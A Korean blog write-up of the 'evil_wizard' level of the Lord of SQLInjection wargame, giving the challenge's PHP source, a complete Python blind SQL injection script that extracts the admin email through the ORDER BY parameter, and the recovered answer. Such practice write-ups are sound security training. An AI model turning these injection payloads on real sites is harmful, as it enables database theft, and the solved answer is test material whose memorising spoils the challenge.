Wargame/LOS

LOS #24 evil_wizard

0xe82de_ 2020. 12. 15. 19:38
728x90
728x90
728x90
 

Lord of SQLInjection

 

los.rubiya.kr

Source Code

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|proc|union|sleep|benchmark/i', $_GET[order])) exit("No Hack ~_~");
  $query = "select id,email,score from prob_evil_wizard where 1 order by {$_GET[order]}"; // same with hell_fire? really?
  echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
  $rows = mysqli_query($db,$query);
  while(($result = mysqli_fetch_array($rows))){
    if($result['id'] == "admin") $result['email'] = "**************";
    echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
  }
  echo "</table><hr>query : <strong>{$query}</strong><hr>";

  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_evil_wizard where id='admin' and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'] === $_GET['email'])) solve("evil_wizard");
  highlight_file(__FILE__);
?>

 

Query

select id,email,score from prob_evil_wizard where 1 order by

 

Write-up

[사진 1]

문제에서 확인 가능한 정보는 다음과 같다.

  • id, email, score 칼럼을 가져온다.
  • order 파라미터를 이용하여 정렬을 할 수 있다. order by..
  • id가 'admin'일 경우 email 값이 마스킹되고 있다.
  • email 파라미터의 경우 PHP의 addslashes() 함수로 필터링 된다.
  • 정확한 email을 입력해야만 문제가 풀린다.

이전 문제와 동일한 조건이다. 다른 점은 sleep, benchmark가 필터링된다는 점인데, 이전 문제에서 time-based 방식을 이용한 SQL Injection을 수행하지 않았다. 따라서 이전 문제와 동일한 코드로 문제를 풀 수 있다.

 

#!/usr/bin/py
#-*-coding:utf-8 -*-

import requests

def GetEmailLength(t, s):
  MIN_LENGTH = 1
  MAX_LENGTH = 100
  i = MIN_LENGTH

  while i <= MAX_LENGTH:
    try:
      tmpEmailLength = str(i)
      payload = t + "?order=id='admin' and length(email)=" + tmpEmailLength + " desc limit 1"
      r = requests.post(payload, cookies=(dict(PHPSESSID=s)))
      #print(payload)

    except OSError as e:
      continue

    except Exception as e:
      print("GetEmailLength() Error...")
      print(e)
      exit(1)

    if ">admin<" in r.text:
      return i
    
    i += 1

def GetEmail(t, s, lengthEmail):
  FIRST_ASCII = 32
  LAST_ASCII = 127
  BACK_SLASH = 92
  tmpEmail = ""

  for i in range(1, lengthEmail + 1):
    j = FIRST_ASCII
    while j <= LAST_ASCII:
      try:
        # backslash error bypass
        if j == BACK_SLASH:
          j += 1
        
        tmpChar = chr(j)
        payload = t + "?order=id='admin' and substr(email, " + str(i) + ", 1)=binary(\'" + tmpChar +"\') desc limit 1"
        r = requests.post(payload, cookies=(dict(PHPSESSID=s)))
        #print(payload)

      # Caused by NewConnectionError('<urllib3.connection.VerifiedHTTPSConnection object at 0x7f9f58e66910>: Failed to establish a new connection: [Errno 110] Connection timed out'))
      except OSError as e:
        continue

      except Exception as e:
        print("GetEmail Error...")
        print(e)
        exit(1)

      # ascii code 0d95 "_" => "Hack" bypass
      if ">admin<" in r.text:
        tmpEmail += chr(j)
        print("Stolen Email : %s" %(tmpEmail))
        break

      j += 1
      
  return tmpEmail

if __name__ == "__main__":
  t = "https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php"
  session = "" # Session
  email = ""

  lengthEmail = GetEmailLength(t, session)
  print("Length of Email : %d\n" %(lengthEmail))

  email = GetEmail(t, session, lengthEmail)
  print("Final Email : %s" %(email))

[사진 2]

위와 같이 email 길이, 값을 탈취할 수 있다. 이전 문제와 마찬가지로 order 파라미터에 SQL Injection을 수행하는데, "_", "." 문자가 필터링되기 때문에 실제 길이인 30보다 작은 27글자가 탈취된다. 정확한 email은 "aasup3r_secure_email@emai1.com"이다.

 

* code

 

0xe82de/LOS

lord of sql injection. Contribute to 0xe82de/LOS development by creating an account on GitHub.

github.com

 

Parameter

?email=aasup3r_secure_email@email.com

 

Success

[사진 33]

728x90
728x90